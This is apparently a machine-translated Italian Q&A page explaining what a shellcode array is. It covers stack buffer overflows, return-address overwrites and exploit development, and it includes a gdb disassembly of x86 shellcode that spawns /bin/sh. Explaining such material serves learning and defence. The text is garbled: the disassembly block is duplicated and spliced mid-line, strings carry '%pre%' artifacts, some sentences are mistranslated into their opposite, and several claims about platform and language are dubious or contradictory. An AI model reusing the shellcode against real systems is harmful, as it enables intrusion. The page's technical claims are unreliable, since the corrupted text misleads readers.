Quale linguaggio di programmazione usa questo codice?

Il contenuto di quell'array, è un codice macchina di basso livello che eseguirà la shell / bin / sh, se eseguito sull'architettura corretta. Un utente malintenzionato potrebbe essere in grado di inserirlo come dati in un programma che verrà eseguito come codice a causa di un bug.

È comunemente usato per sfruttare il overflow del buffer .

Uno dei principi fondamentali della programmazione del software è il concetto di sub-routine. Quindi un programmatore può chiamare una funzione che ha il proprio insieme di variabili e funziona un po '. Al termine, il programma continua l'esecuzione subito dopo la chiamata.

Questo concetto, tuttavia, non esiste a livello hardware. Il processore esegue semplicemente il comando successivo, a meno che non si tratti di un salto da qualche altra parte.

Quindi, per poter tornare da una chiamata, è necessario eseguire alcune preparazioni nel momento in cui viene effettuata la chiamata: l'indirizzo di ritorno viene salvato su uno stack , insieme ai parametri per funzione. Tutte le variabili locali create dalla funzione vengono archiviate nello stack. Alla fine della funzione, le variabili locali vengono eliminate dallo stack e l'indirizzo di ritorno salvato viene utilizzato come destinazione di un salto.

In teoria funziona bene. In pratica un bug nel programma può consentire a un utente malintenzionato di memorizzare alcuni dati su una variabile locale che è più lunga della capacità di tale variabile. Poiché le variabili locali sono memorizzate prima dell'indirizzo di ritorno in memoria, l'utente malintenzionato può sovrascrivere l'indirizzo di ritorno , per indicare i propri dati. Il processore sarà felice di eseguirlo, supponendo che sia un codice macchina valido.

Se sei interessato allo sfondo, dai un'occhiata a Smashing The Stack For Fun And Profit . È vecchio e ci sono alcune misure di contatori in atto oggi, ma offre un'ottima introduzione.

Quello che stai guardando è chiamato shellcode. È inteso per essere interpretato come i valori esadecimali mostrati ed è specifico per una determinata architettura del processore e funzionerà solo con indirizzi di memoria noti, quindi anche specifici per un determinato sistema operativo o programma. Questo è sotto il linguaggio assembly: stai guardando il codice macchina stesso.

Ad esempio, 0xEB è un'istruzione di salto x86 e un certo numero di byte immediatamente successivi sono l'indirizzo di destinazione. Inversione di malware / virus di ingegneria potrebbe essere un buon punto di partenza per imparare come interpretare quel codice .

Se sei interessato e conosci un piccolo assemblaggio, ecco come appare lo shellcode:

(gdb) x/s shellcode+61
0x804a07d <shellcode+61>:    "2
(gdb) x/s shellcode+61
0x804a07d <shellcode+61>:    "2%pre%4%pre%4%pre%4%pre%4\a%pre%4"
(gdb) x/31i shellcode
   0x804a040 <shellcode>:   jmp    0x804a065 <shellcode+37>
   0x804a042 <shellcode+2>: pop    esi
   0x804a043 <shellcode+3>: lea    ebx,[esi]
   0x804a045 <shellcode+5>: mov    DWORD PTR [esi+0xb],ebx
   0x804a048 <shellcode+8>: xor    edx,edx
   0x804a04a <shellcode+10>:    mov    DWORD PTR [esi+0x7],edx
   0x804a04d <shellcode+13>:    mov    DWORD PTR [esi+0xf],edx
   0x804a050 <shellcode+16>:    mov    DWORD PTR [esi+0x14],edx
   0x804a053 <shellcode+19>:    mov    BYTE PTR [esi+0x19],dl
   0x804a056 <shellcode+22>:    xor    eax,eax
   0x804a058 <shellcode+24>:    mov    al,0x3b
   0x804a05a <shellcode+26>:    lea    ecx,[esi+0xb]
   0x804a05d <shellcode+29>:    mov    edx,ecx
   0x804a05f <shellcode+31>:    push   edx
   0x804a060 <shellcode+32>:    push   ecx
   0x804a061 <shellcode+33>:    push   ebx
   0x804a062 <shellcode+34>:    push   eax
   0x804a063 <shellcode+35>:    jmp    0x804a07d <shellcode+61>
   0x804a065 <shellcode+37>:    call   0x804a042 <shellcode+2>
   0x804a06a <shellcode+42>:    das    
   0x804a06b <shellcode+43>:    bound  ebp,QWORD PTR [ecx+0x6e]
   0x804a06e <shellcode+46>:    das    
   0x804a06f <shellcode+47>:    jae    0x804a0d9
   0x804a071 <shellcode+49>:    add    DWORD PTR [ecx],eax
   0x804a073 <shellcode+51>:    add    DWORD PTR [ecx],eax
   0x804a075 <shellcode+53>:    add    al,BYTE PTR [edx]
   0x804a077 <shellcode+55>:    add    al,BYTE PTR [edx]
   0x804a079 <shellcode+57>:    add    eax,DWORD PTR [ebx]
   0x804a07b <shellcode+59>:    add    eax,DWORD PTR [ebx]
   0x804a07d <shellcode+61>:    call   0x407:0x4040404
   0x804a084 <shellcode+68>:    add    BYTE PTR [eax],al
(gdb) x/s shellcode+42
0x804a06a <shellcode+42>:    "/bin/sh%pre%1%pre%1%pre%1%pre%1%pre%2%pre%2%pre%2%pre%2%pre%3%pre%3%pre%3%pre%32%pre%4%pre%4%pre%4%pre%4\a%pre%4"
4%pre%4%pre%4%pre%4\a%pre%4"
(gdb) x/31i shellcode
   0x804a040 <shellcode>:   jmp    0x804a065 <shellcode+37>
   0x804a042 <shellcode+2>: pop    esi
   0x804a043 <shellcode+3>: lea    ebx,[esi]
   0x804a045 <shellcode+5>: mov    DWORD PTR [esi+0xb],ebx
   0x804a048 <shellcode+8>: xor    edx,edx
   0x804a04a <shellcode+10>:    mov    DWORD PTR [esi+0x7],edx
   0x804a04d <shellcode+13>:    mov    DWORD PTR [esi+0xf],edx
   0x804a050 <shellcode+16>:    mov    DWORD PTR [esi+0x14],edx
   0x804a053 <shellcode+19>:    mov    BYTE PTR [esi+0x19],dl
   0x804a056 <shellcode+22>:    xor    eax,eax
   0x804a058 <shellcode+24>:    mov    al,0x3b
   0x804a05a <shellcode+26>:    lea    ecx,[esi+0xb]
   0x804a05d <shellcode+29>:    mov    edx,ecx
   0x804a05f <shellcode+31>:    push   edx
   0x804a060 <shellcode+32>:    push   ecx
   0x804a061 <shellcode+33>:    push   ebx
   0x804a062 <shellcode+34>:    push   eax
   0x804a063 <shellcode+35>:    jmp    0x804a07d <shellcode+61>
   0x804a065 <shellcode+37>:    call   0x804a042 <shellcode+2>
   0x804a06a <shellcode+42>:    das    
   0x804a06b <shellcode+43>:    bound  ebp,QWORD PTR [ecx+0x6e]
   0x804a06e <shellcode+46>:    das    
   0x804a06f <shellcode+47>:    jae    0x804a0d9
   0x804a071 <shellcode+49>:    add    DWORD PTR [ecx],eax
   0x804a073 <shellcode+51>:    add    DWORD PTR [ecx],eax
   0x804a075 <shellcode+53>:    add    al,BYTE PTR [edx]
   0x804a077 <shellcode+55>:    add    al,BYTE PTR [edx]
   0x804a079 <shellcode+57>:    add    eax,DWORD PTR [ebx]
   0x804a07b <shellcode+59>:    add    eax,DWORD PTR [ebx]
   0x804a07d <shellcode+61>:    call   0x407:0x4040404
   0x804a084 <shellcode+68>:    add    BYTE PTR [eax],al
(gdb) x/s shellcode+42
0x804a06a <shellcode+42>:    "/bin/sh%pre%1%pre%1%pre%1%pre%1%pre%2%pre%2%pre%2%pre%2%pre%3%pre%3%pre%3%pre%32%pre%4%pre%4%pre%4%pre%4\a%pre%4"

La stringa "/ bin / sh" è su shellcode + 42 ed è la stringa che sta per essere eseguita sul sistema e ti porta una shell (qui il significato di shell-code). Tra l'altro, il disassemblaggio delle istruzioni da shellcode + 42 fino a 7 byte sembra più "codice strano", perché il dissasemblatore gestiva la stringa come se fosse codice anziché dati.

Fa parte dello sviluppo degli exploit.

Un hacker scopre per primo un problema. Ad esempio, potrebbe notare che durante l'accesso alla posta elettronica, se digita un nome utente di 1000 byte, il server si blocca.

Quindi ciò che fa l'hacker è capire come manipolare i byte straripanti per far sì che l'esecuzione del programma "salti" da qualche parte nel buffer.

L'hacker scrive quindi il codice per aprire un prompt dei comandi (noto come "shell") e interagisce con tale prompt dei comandi sulla rete. Questo è chiamato "shellcode". È lo shellcode che vedi sopra.

L'hacker combina tutto questo in un programma di "exploit" che può essere usato per hackerare in un sistema semplicemente specificando un indirizzo IP della vittima.

L'hacker non scansiona una rete alla ricerca di sistemi vulnerabili. Quando ne trova uno, quindi esegue il suo exploit contro di esso, irrompe con un prompt della shell. Questo è realisticamente mostrato nel film 2a Matrix.

Una volta che l'hacker ha il prompt dei comandi, può inviare comandi arbitrari al sistema. Potrebbe creare il proprio account utente. Potrebbe scaricare il file della password. Potrebbe scaricare i numeri delle carte di credito dal database.

Quello shellcode che vedi sopra è specificato in C, perché è quello in cui sono scritti i maggiori exploit. Ma è facilmente traducibile in altre lingue popolari che hanno sintassi simile in C.

Lo shellcode è specificamente progettato per NetBSD in esecuzione su x86. NetBSD è un sistema di sistema operativo strettamente correlato a Mac OS X e più distante collegato a Linux. Era popolare per i piccoli computer, ma in gran parte è scomparso in questi giorni. Quindi questo è abbastanza inutile.

Questa è una dichiarazione di carattere C. Non c'è motivo di suggerire che se scrivi il tuo programma C non puoi includere queste intestazioni nel tuo codice e poi utilizzarle.